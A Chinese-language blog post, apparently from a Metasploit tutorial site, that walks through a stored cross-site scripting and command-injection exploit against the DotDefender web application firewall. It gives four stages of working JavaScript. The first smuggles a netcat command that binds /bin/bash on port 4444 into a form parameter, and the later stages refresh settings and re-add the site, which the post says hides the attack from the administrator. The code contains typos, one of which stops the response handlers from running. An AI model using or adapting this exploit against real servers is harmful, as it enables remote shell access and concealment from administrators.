Metasploit 分析DotDefender漏洞

分析DotDefender漏洞

仔细观察这个漏洞,我们看到需要做些什么来将DotDefender PoC变成一个完整的漏洞。

 

要使此攻击行得通,您必须先触发DotDefender来记录您的活动,然后让DotDefender管理员查看您创建的日志。这可以通过DotDefender阻止的任何事情完成,例如跨站脚本或SQL注入,然后修改User-Agent字段以包含脚本,例如:

script language="JavaScript" src="https://MySite.com/DotDefender.js">

这意味着我们在这个漏洞攻击中必须发生两件不同的事情。首先是用恶意的User-Agent值触发DotDefender中的日志条目。第二个是托管允许在服务器上执行命令的JavaScript文件。

开始dotDefender

JavaScript细节

 

第1阶段

  • 这是攻击的第一阶段。此阶段所做的是使用参数创建一个AJAX POST请求到index.cgi页面,以从列表中删除服务器。由于我们正在使用AJAX执行此脚本,因此我们可以将正确的POST参数发送到索引页面。本示例在端口4444上打开一个Netcat侦听器。唯一必须更改的是site.com名称,以对应于受DotDefender保护的站点。

 

我们可以从下面突出显示的漏洞代码中看到,在第一部分中,我们需要将Netcat侦听器和site.com更改为相应的站点名称。

var http = new XMLHttpRequest();
var url = "../index.cgi";
var params = "sitename=site.com&deletesitename=site.com;nc -lvp 4444 -e /bin/bash;&action=deletesite&linenum=14";
http.open("POST",url,true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-lenth", params.length);
http.setRequestHeader("Connection","close");
 
http.conreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        alert(http.responseText);
        }
}
http.send(params);

 

第2阶段

  • 这是袭击的第二阶段。DotDefender要求管理员在删除站点后“刷新Web应用程序防火墙的设置”。

 

从评论中,我们可以看到,在漏洞利用结束后,PoC将继续试图通过覆盖它的踪迹来引起对DotDefender管理员的怀疑。

var http2 = new XMLHttpRequest();
var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
http2.open("POST",url,true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.setRequestHeader("Content-lenth", params2.length);
http2.setRequestHeader("Connection","close");
 
http2.conreadystatechange = function() {
    if(http2.readyState == 4 && http2.status == 200) {
        alert(http2.responseText);
        }
}
http2.send(params2);

 

第3阶段

  • 这是袭击的第三阶段。由于代码执行漏洞要求将网站从DotDefender中删除,现在必须将该网站重新添加到列表中。

 

我们可以在下面的代码中看到,我们必须再次将“ site.com ”参数更改为相应的站点名称。

var http3 = new XMLHttpRequest();
var params3 = "newsitename=site.com&action=newsite";
http3.open("POST",url,true);
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-lenth", params3.length);
http3.setRequestHeader("Connection","close");
 
http3.conreadystatechange = function() {
    if(http3.readyState == 4 && http3.status == 200) {
        alert(http3.responseText);
        }
}
http3.send(params3);

 

第4阶段

  • 这是袭击的第四个也是最后一个阶段。该网站已被添加回列表中,但再一次,管理员需要“刷新设置”。

 

这是我们利用的最后阶段,是第2阶段的副本。这也不需要任何修改。

var http4 = new XMLHttpRequest();
var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
http4.open("POST",url,true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-lenth", params4.length);
http4.setRequestHeader("Connection","close");
 
http4.conreadystatechange = function() {
    if(http4.readyState == 4 && http4.status == 200) {
        alert(http4.responseText);
        }
}
http4.send(params4);
    A+
发布日期:2018年05月29日 23:11:52  所属分类:Metasploit
最后更新时间:2018-05-29 23:14:21
付杰
  • ¥ 398.0元
  • 市场价:598.0元
  • ¥ 39.0元
  • 市场价:39.0元
  • ¥ 79.0元
  • 市场价:99.0元
  • ¥ 198.0元
  • 市场价:498.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: